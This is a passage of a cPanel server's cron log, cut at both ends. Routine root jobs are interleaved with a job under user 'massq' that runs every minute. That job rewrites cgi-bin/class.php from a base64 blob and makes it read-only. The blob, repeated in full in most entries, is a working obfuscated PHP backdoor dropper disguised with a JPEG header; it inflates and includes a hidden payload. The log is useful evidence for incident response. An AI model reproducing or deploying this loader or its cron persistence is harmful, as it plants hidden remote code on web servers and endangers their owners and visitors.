7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:17:01 server CROND[21468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:17:01 server CROND[21469]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:17:01 server CROND[21470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:18:01 server CROND[21948]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:18:01 server CROND[21949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:18:01 server CROND[21954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:19:01 server CROND[22332]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:19:01 server CROND[22334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:19:01 server CROND[22333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:20:01 server CROND[22730]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 02:20:01 server CROND[22731]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 02:20:01 server CROND[22742]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 02:20:01 server CROND[22750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:20:01 server CROND[22756]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 02:20:01 server CROND[22757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:20:01 server CROND[22758]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 02:20:01 server CROND[22755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:20:01 server CROND[22754]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 02:21:01 server CROND[23749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:21:01 server CROND[23750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:21:01 server CROND[23751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:22:01 server CROND[24176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:22:01 server CROND[24177]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:22:01 server CROND[24178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:23:01 server CROND[24657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:23:01 server CROND[24658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:23:01 server CROND[24659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:24:01 server CROND[25051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:24:01 server CROND[25052]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:24:01 server CROND[25053]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:25:01 server CROND[25505]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 02:25:01 server CROND[25507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:25:01 server CROND[25508]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 02:25:01 server CROND[25510]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  4 02:25:01 server CROND[25511]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:25:01 server CROND[25512]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 02:25:01 server CROND[25509]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:25:01 server CROND[25513]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 02:26:01 server CROND[26347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:26:01 server CROND[26348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:26:01 server CROND[26349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:27:01 server CROND[26738]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 02:27:01 server CROND[26739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:27:01 server CROND[26740]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:27:01 server CROND[26742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:28:01 server CROND[27230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:28:01 server CROND[27231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:28:01 server CROND[27232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; 